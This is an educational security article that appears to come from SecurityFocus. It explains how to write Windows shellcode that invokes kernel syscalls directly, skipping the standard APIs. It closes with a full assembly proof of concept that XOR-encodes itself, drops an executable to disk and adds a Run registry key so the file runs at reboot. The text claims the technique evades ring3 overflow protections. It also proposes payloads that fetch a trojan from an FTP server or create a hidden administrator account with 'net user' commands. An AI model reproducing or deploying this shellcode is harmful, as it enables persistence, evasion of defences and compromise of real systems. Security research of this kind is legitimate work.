by Piotr Bania
This article has been written to show that is possible to write shellcode for Windows operating systems that doesn't use standard API calls at all. Of course, as with every solution, this approach has both advantages and disadvantages. In this paper we will look at such shellcode and also introduce some example usage. IA-32 assembly knowledge is definitely required to fully understand this article.
All shellcode here has been tested on Windows XP SP1. Note that there are variations in the approach depending on the operating system and service pack level, so this will be discussed further as we progress.
Windows NT-based systems (NT/2000/XP/2003 and beyond) were designed to handle many subsystems, each having its own individual environment. For example, one of NT subsystems is Win32 (for normal Windows applications), another example would be POSIX (Unix) or OS/2. What does it mean? It means that Windows NT could actually run (of course with proper os add-ons) OS/2 and support most of it features. So what changes were made as the OS was developed? To support all of these potential subsystems, Microsoft made unified set of APIs which are called wrappers of each subsystem. In short, all subsystems have all the needed libraries for them to work. For example Win32 apps call the Win32 Subsystem APIs, which in fact call NT APIs (native APIs, or just natives). Natives don't require any subsystem to run.
From native API calls to syscalls
Is this theory true, that shellcode can be written without any standard API calls? Well, for some APIs it is for some it isn't. There are many APIs that do their job without calling native NT APIs and so on. To prove this, let's look at the GetCommandLineA API exported from KERNEL32.DLL.
.text:77E7E358 ; --------------- S U B R O U T I N E ------------------------- .text:77E7E358 .text:77E7E358 .text:77E7E358 ; LPSTR GetCommandLineA(void) .text:77E7E358 public GetCommandLineA .text:77E7E358 GetCommandLineA proc near .text:77E7E358 mov eax, dword_77ED7614 .text:77E7E35D retn .text:77E7E35D GetCommandLineA endp
This API routine doesn't use any arbitary calls. The only thing it does is the return the pointer to the program command line. But let's now discuss an example that is in line with our theory. What follows is part of the TerminateProcess API's disassembly.
.text:77E616B8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode) .text:77E616B8 public TerminateProcess .text:77E616B8 TerminateProcess proc near ; CODE XREF: ExitProcess+12 j .text:77E616B8 ; sub_77EC3509+DA p .text:77E616B8 .text:77E616B8 hProcess = dword ptr 4 .text:77E616B8 uExitCode = dword ptr 8 .text:77E616B8 .text:77E616B8 cmp [esp+hProcess], 0 .text:77E616BD jz short loc_77E616D7 .text:77E616BF push [esp+uExitCode] ; 1st param: Exit code .text:77E616C3 push [esp+4+hProcess] ; 2nd param: Handle of process .text:77E616C7 call ds:NtTerminateProcess ; NTDLL!NtTerminateProcess
As you can see, the TerminateProcess API passes arguments and then executes NtTerminateProcess, exported by NTDLL.DLL. The NTDLL.DLL is the native API. In other words, the function which name starts with 'Nt' is called the native API (some of them are also ZwAPIs - just look what exports from the NTDLL library). Let's now look at NtTerminateProcess.
.text:77F5C448 public ZwTerminateProcess .text:77F5C448 ZwTerminateProcess proc near ; CODE XREF: sub_77F68F09+D1 p .text:77F5C448 ; RtlAssert2+B6 p .text:77F5C448 mov eax, 101h ; syscall number: NtTerminateProcess .text:77F5C44D mov edx, 7FFE0300h ; EDX = 7FFE0300h .text:77F5C452 call edx ; call 7FFE0300h .text:77F5C454 retn 8 .text:77F5C454 ZwTerminateProcess endp
This native API infact only puts the number of the syscall to eax and calls memory at 7FFE0300h, which is:
7FFE0300 8BD4 MOV EDX,ESP 7FFE0302 0F34 SYSENTER 7FFE0304 C3 RETN
And that shows how the story goes; EDX is now user stack pointer, EAX is the system call to execute. The SYSENTER instruction executes a fast call to a level 0 system routine, which does rest of the job.
Operating system differences
In Windows 2000 (and other NT based systems except XP and newer) no SYSENTER instruction is used. However, in Windows XP the "int 2eh" (our old way) was replaced by SYSENTER instruction. The following schema shows the syscall implementation for Windows 2000:
MOV EAX, SyscallNumber ; requested syscall number LEA EDX, [ESP+4] ; EDX = params... INT 2Eh ; throw the execution to the KM handler RET 4*NUMBER_OF_PARAMS ; return
We know already the Windows XP way, however here is the one I'm using in shellcode:
push fn ; push syscall number pop eax ; EAX = syscall number push eax ; this one makes no diff call b ; put caller address on stack b: add [esp],(offset r - offset b) ; normalize stack mov edx, esp ; EDX = stack db 0fh, 34h ; SYSENTER instruction r: add esp, (param*4) ; normalize stack
It seems that SYSENTER was first introduced in the Intel Pentium II processors. This author is not certain but one can guess that SYSENTER is not supported by Athlon processors. To determine if the instruction is available on a particular processor, use the CPUID instruction together with a check for the SEP flag and some specific family/model/stepping checks. Here is the example how Intel does this type of checking:
IF (CPUID SEP bit is set) THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3) THEN SYSENTER/SYSEXIT_NOT_SUPPORTED FI; ELSE SYSENTER/SYSEXIT_SUPPORTED FI;
But of course this is not the only difference in various Windows operating systems -- system call numbers also change between the various Windows versions, as the following table shows:
|Windows NT||SP 3||0x3||0x5||0x7|
|Windows 2000||SP 0||0x8||0xa||0xc|
|Windows XP||SP 0||0x8||0xb||0xd|
|Windows 2003 Server||SP 0||0x8||0xc||0xe|
The syscall number tables are available on the Internet. The reader is advised to look at the one from metasploit.com, however other sources may also be good.
Syscall shellcode advantages
There are several advantages when using this approach:
- Shellcode doesn't require the use of APIs, due to the fact that it doesn't have to locate API addresses (there is no kernel address finding/no export section parsing/import section parsing, and so on). Due to this "feature" it is able to bypass most of ring3 "buffer overflow prevention systems." Such protection mechanisms usually don't stop the buffer overflow attacks in itself, but instead they mainly hook the most used APIs and check the caller address. Here, such checking would be of no use.
- Since you are sending the requests directly to the kernel handler and you "jump over" all of those instructions from the Win32 Subsystem, the speed of execution highly increases (although in the era of modern processors, who truly cares about speed of shellcode?).
Syscall shellcode disadvantages
There are also several disadvantages to this approach:
- Size -- this is the main disadvantage. Becase we are "jumping over" all of those subsytem wrappers, we need to code our own ones, and this increases the size of shellcode.
- Compability -- as has been written above, there exist various implementations from "int 2eh" to "sysenter," depending on the operating system version. Also, the system call number changes together with each Windows version (for more see the References section).
The shellcode at the end of this article dumps a file and then writes an registry key. This action causes execution of the dropped file after the computer reboots. Many of you may ask me why we would not to execute the file directly without storing the registry key. Well, executing win32 application by syscalls is not a simple task -- don't think that NtCreateProcess will do the job; let's look at what CreateProcess API must do to execute an application:
- Open the image file (.exe) to be executed inside the process.
- Create the Windows executive process object.
- Create the initial thread (stack, context, and Windows executive thread object).
- Notify the Win32 subsystem of the new process so that it can set up for the new process and thread.
- Start execution of the initial thread (unless the CREATE_SUSPENDED flag was specified).
- In the context of the new process and thread, complete the initialization of the address space (such as load required DLLs) and begin execution of the program.
Therefore, it is clearly much easier and quicker to use the registry method. The following shellcode that concludes this article drops a sample MessageBox application (mainly, a PE struct which is big itself so the size increases) however there are plenty more solutions. Attacker can drop some script file (batch/vbs/others) and download a trojan/backdoor file from an ftp server, or just execute various commands such as: "net user /add piotr test123" & "net localgroup /add administrators piotr". This idea should help the reader with optimizations, now enjoy the proof of concept shellcode.
If you experience formatting issues with the code as listed below, an archive of this proof of concept is available for download from SecurityFocus.
comment $ ----------------------------------------------- WinNT (XP) Syscall Shellcode - Proof Of Concept ----------------------------------------------- Written by: Piotr Bania http://pb.specialised.info $ include my_macro.inc include io.inc ; --- CONFIGURE HERE ----------------------------------------------------------------- ; If you want to change something here, you need to update size entries written above. FILE_PATH equ "\??\C:\b.exe",0 ; dropper SHELLCODE_DROP equ "D:\asm\shellcodeXXX.dat" ; where to drop ; shellcode REG_PATH equ "\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Run",0 ; ------------------------------------------------------------------------------------ KEY_ALL_ACCESS equ 0000f003fh ; const value _S_NtCreateFile equ 000000025h ; syscall numbers for _S_NtWriteFile equ 000000112h ; Windows XP SP1 _S_NtClose equ 000000019h _S_NtCreateSection equ 000000032h _S_NtCreateKey equ 000000029h _S_NtSetValueKey equ 0000000f7h _S_NtTerminateThread equ 000000102h _S_NtTerminateProcess equ 000000101h @syscall macro fn, param ; syscall implementation local b, r ; for Windows XP push fn pop eax push eax ; makes no diff call b b: add [esp],(offset r - offset b) mov edx, esp db 0fh, 34h r: add esp, (param*4) endm path struc ; some useful structs p_path dw MAX_PATH dup (?) ; converted from C headers path ends object_attributes struc oa_length dd ? oa_rootdir dd ? oa_objectname dd ? oa_attribz dd ? oa_secdesc dd ? oa_secqos dd ? object_attributes ends pio_status_block struc psb_ntstatus dd ? psb_info dd ? pio_status_block ends unicode_string struc us_length dw ? dw ? us_pstring dd ? unicode_string ends call crypt_and_dump_sh ; xor and dump shellcode sc_start proc local u_string :unicode_string ; local variables local fpath :path ; (stack based) local rpath :path local obj_a :object_attributes local iob :pio_status_block local fHandle :DWORD local rHandle :DWORD sub ebp,500 ; allocate space on stack push FILE_PATH_ULEN ; set up unicode string pop [u_string.us_length] ; length push 255 ; set up unicode max string pop [u_string.us_length+2] ; length lea edi,[fpath] ; EDI = ptr to unicode file push edi ; path pop [u_string.us_pstring] ; set up the unciode entry call a_p1 ; put file path address a_s: db FILE_PATH ; on stack FILE_PATH_LEN equ $ - offset a_s FILE_PATH_ULEN equ 18h a_p1: pop esi ; ESI = ptr to file path push FILE_PATH_LEN ; (ascii one) pop ecx ; ECX = FILE_PATH_LEN xor eax,eax ; EAX = 0 a_lo: lodsb ; begin ascii to unicode stosw ; conversion do not forget loop a_lo ; to do sample align lea edi,[obj_a] ; EDI = object attributes st. lea ebx,[u_string] ; EBX = unicode string st. push 18h ; sizeof(object attribs) pop [edi.oa_length] ; store push ebx ; store the object name pop [edi.oa_objectname] push eax ; rootdir = NULL pop [edi.oa_rootdir] push eax ; secdesc = NULL pop [edi.oa_secdesc] push eax ; secqos = NULL pop [edi.oa_secqos] push 40h ; attributes value = 40h pop [edi.oa_attribz] lea ecx,[iob] ; ECX = io status block push eax ; ealength = null push eax ; eabuffer = null push 60h ; create options push 05h ; create disposition push eax ; share access = NULL push 80h ; file attributes push eax ; allocation size = NULL push ecx ; io status block push edi ; object attributes push 0C0100080h ; desired access lea esi,[fHandle] push esi ; (out) file handle @syscall _S_NtCreateFile, 11 ; execute syscall lea ecx,[iob] ; ecx = io status block push eax ; key = null push eax ; byte offset = null push main_exploit_s ; length of data call a3 ; ptr to dropper body s1: include msgbin.inc ; dopper data main_exploit_s equ $ - offset s1 a3: push ecx ; io status block push eax ; apc context = null push eax ; apc routine = null push eax ; event = null push dword ptr [esi] ; file handle @syscall _S_NtWriteFile, 9 ; execute the syscall mov edx,edi ; edx = object attributes lea edi,[rpath] ; edi = registry path push edi ; store the pointer pop [u_string.us_pstring] ; into unicode struct push REG_PATH_ULEN ; store new path len pop [u_string.us_length] call a_p2 ; store the ascii reg path a_s1: db REG_PATH ; pointer on stack REG_PATH_LEN equ $ - offset a_s1 REG_PATH_ULEN equ 7eh a_p2: pop esi ; esi ptr to ascii reg path push REG_PATH_LEN pop ecx ; ECX = REG_PATH_LEN a_lo1: lodsb ; little ascii 2 unicode stosw ; conversion loop a_lo1 push eax ; disposition = null push eax ; create options = null push eax ; class = null push eax ; title index = null push edx ; object attributes struct push KEY_ALL_ACCESS ; desired access lea esi,[rHandle] push esi ; (out) handle @syscall _S_NtCreateKey,6 lea ebx,[fpath] ; EBX = file path lea ecx,[fHandle] ; ECX = file handle push eax pop [ecx] ; nullify file handle push FILE_PATH_ULEN - 8 ; push the unicode len ; without 8 (no '\??\') push ebx ; file path add [esp],8 ; without '\??' push REG_SZ ; type push eax ; title index = NULL push ecx ; value name = NULL = default push dword ptr [esi] ; key handle @syscall _S_NtSetValueKey,6 ; set they key value dec eax push eax ; exit status code push eax ; process handle ; -1 current process @syscall _S_NtTerminateProcess,2 ; maybe you want ; TerminateThread instead? ssc_size equ $ -offset sc_start sc_start endp exit: push 0 @callx ExitProcess crypt_and_dump_sh: ; this gonna' xor ; the shellcode and mov edi,(offset sc_start - 1) ; add the decryptor mov ecx,ssc_size ; finally shellcode file ; will be dumped xor_loop: inc edi xor byte ptr [edi],96h loop xor_loop _fcreat SHELLCODE_DROP,ebx ; some of my old crazy _fwrite ebx,sh_decryptor,sh_dec_size ; io macros _fwrite ebx,sc_start,ssc_size _fclose ebx jmp exit sh_decryptor: ; that's how the decryptor xor ecx,ecx ; looks like mov cx,ssc_size fldz sh_add: fnstenv [esp-12] ; fnstenv decoder pop edi add edi,sh_dec_add sh_dec_loop: inc edi xor byte ptr [edi],96h loop sh_dec_loop sh_dec_add equ ($ - offset sh_add) + 1 sh_dec_size equ $ - offset sh_decryptor end start
The author hopes you have enjoyed the article. If you have any comments don't hesitate to contact him; also remember that code was developed purely for educational purposes only.
- "Inside the Native API" by Mark Russinovich
- "MSDN" from Microsoft
- Interactive Win32 syscall page from Metasploit
About the author
Piotr Bania is an independent IT Security/Anti-Virus Researcher from Poland with over five years of experience. He has discovered several highly critical security vulnerabilities in popular applications like RealPlayer. More information can be found on his website.
This article originally appeared on SecurityFocus.com -- reproduction in whole or in part is not allowed without expressed written consent.